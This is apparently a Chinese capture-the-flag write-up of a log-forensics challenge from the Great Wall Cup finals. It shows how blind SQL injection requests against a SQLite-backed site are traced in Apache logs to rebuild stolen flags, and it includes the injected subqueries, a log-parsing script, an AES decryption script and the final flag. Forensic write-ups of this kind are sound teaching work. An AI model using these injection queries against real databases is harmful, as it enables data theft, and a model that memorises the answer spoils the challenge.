题目内容:我辛辛苦苦采用apache+sqlite3+python搭建的MIS环境,好像存在很多漏洞,昨天发生数据泄露事件了,攻击者把我的旗帜拿走了。幸好Web日志还在,帮我分析一下,哪些flag被盗,我只关注flag1和flag6。注意:本题目的flag为flag1+flag6的组合。组合方式举例为:将flag1{aaa}和flag6{bbbbb}组合为最终的flag{aaa-bbbbb}。
根据提供脚本发现flag是倒序存放的
而且flag是经过aes加密的,且密钥存放在secrets表中
flag 密文存放在user_flag表中
请求日志 url解码
这里开始判断secrets中获取datetime如果为null则返回空,而且这里使用的是二分法判断的。
发现secrets表共有24条数据
customers表也是共24条数据
还判断了user_flag表,其中flagvalue字段共24条
(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 23,1)
(SELECT COALESCE(passphrase,CHAR(32)) FROM secrets LIMIT 18,1)
(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 23,1)
(SELECT COALESCE(flagvalue,CHAR(32)) FROM user_flag LIMIT 18,1)
import pprint
import re
data = {}
with open("./2.txt","r") as f:
for i in f.readlines():
try:
res = i.split(" ")[15:16][0]
res2 = res.strip().split(">")
prex = res2[0]
hz = res2[1]
data[prex] = hz
data.update(data)
except:
pass
# pprint.pprint(data)
for v in data.values():
num = int(re.findall(r"((.*?))",v)[0])
print(chr(num),end='')
# print(num,"=",chr(num))
# dict1 = {'a': 1, 'b': 2}
# dict2 = {'b': 3, 'c': 4}
#
# dict1.update(dict2)
# print(dict1) # 输出: {'a': 1, 'b': 3, 'c': 4}
解密脚本
import sqlite3
import os
import random
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
def md5_hash(input_rawstring):
# 创建一个md5 hash对象
m = hashlib.md5()
# 更新hash对象
m.update(input_rawstring)
# 获取散列值的16进制字符串表示(32个字节长度)
hexdigest = m.hexdigest()
#将16进制字符串转换为16字节的字节串
byte_digest = bytes.fromhex(hexdigest)
return byte_digest
#return (hex_dig)
def genpassphrase(username,number):
passphrase = ""
accvalue = 0
# 这里省略了计算随机数种子的部分代码。其余代码都是okay的。
random.seed(accvalue)
total = random.randint(4,7)
for i in range(total):
str4bytes = base64.b64encode(os.urandom(3))
passphrase = passphrase + str4bytes.decode("utf-8")
return passphrase
# 迭代次数,增加这个值会提高安全性,但也会降低性能
iterations = 10000
# 密钥长度(可以是16、24或32字节,对应AES-128、AES-192或AES-256)
key_length = 16
# 简化版的PBKDF2实现,这里仅使用HMAC-SHA256作为伪随机函数
def pbkdf2(passphrase, salt, iterations, key_length):
h = hashlib.sha256()
u = passphrase.encode("utf-8") + salt
for _ in range(iterations):
h.update(u)
u = h.digest()
return h.digest()[:key_length]
passphrase = "TJOC6+L+vTajLOGqfJMweoLFZqvJ"
# AES加密用的salt从passphrase派生
salt = md5_hash(passphrase.encode("utf-8") + b"saltseed")
# 使用passphrase和salt通过PBKDF2派生密钥
key = pbkdf2(passphrase, salt, iterations, key_length)
# 初始化向量也从passphrase派生
iv = md5_hash(passphrase.encode("utf-8") + b"IVseed")
# 创建Cipher对象
cipher = AES.new(key, AES.MODE_CBC, iv)
# 需要加密的数据
encrypted_flagdata_b64 = "PgH8ySWqsB1IJEradvOouNWEP5mpHZnu5e9ShkiS1LWLb81hRUjAZLD4zzzxO5Tn"
# 对数据进行填充,以符合AES的块大小(128位/16字节)
# padded_flagdata = pad(original_flagdata, AES.block_size)
# # 加密数据
# encrypted_flagdata = cipher.encrypt(padded_flagdata)
# 使用相同的salt和passphrase通过PBKDF2派生密钥
key_decrypt = pbkdf2(passphrase, salt, iterations, key_length)
# 创建解密器对象
decipher = AES.new(key_decrypt, AES.MODE_CBC, iv)
encrypted_flagdata = base64.b64decode(encrypted_flagdata_b64)
# 解密数据
decrypted_padded_data = decipher.decrypt(encrypted_flagdata)
# 解密数据
# 去除填充
decrypted_flagdata = unpad(decrypted_padded_data, AES.block_size)
#decrypted_flagdatastr = decrypted_flagdata.decode("utf-8")
# if original_flagdata == decrypted_flagdata:
# print(f"rn congrutulations: {original_flagdata} matchs {decrypted_flagdata}rn")
print(decrypted_flagdata)
flagvalue = base64.b64encode(encrypted_flagdata)
base64flagdata = flagvalue.decode("utf-8")
notestr = "encrypted with aes128. associated key, iv & salt are derived from passphrase."
# insertuser_flagcmd = f"insert into user_flag(username,flagname,flagvalue,note) values('{username}','{flagname}','{base64flagdata}','{notestr}')"
# print(insertuser_flagcmd)
flag{e6f1573b9496a7f3-a85bcfc646ff161c71e520e7cba3}
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):第一届“长城杯”信息安全铁人三项赛线下决赛- WriteUp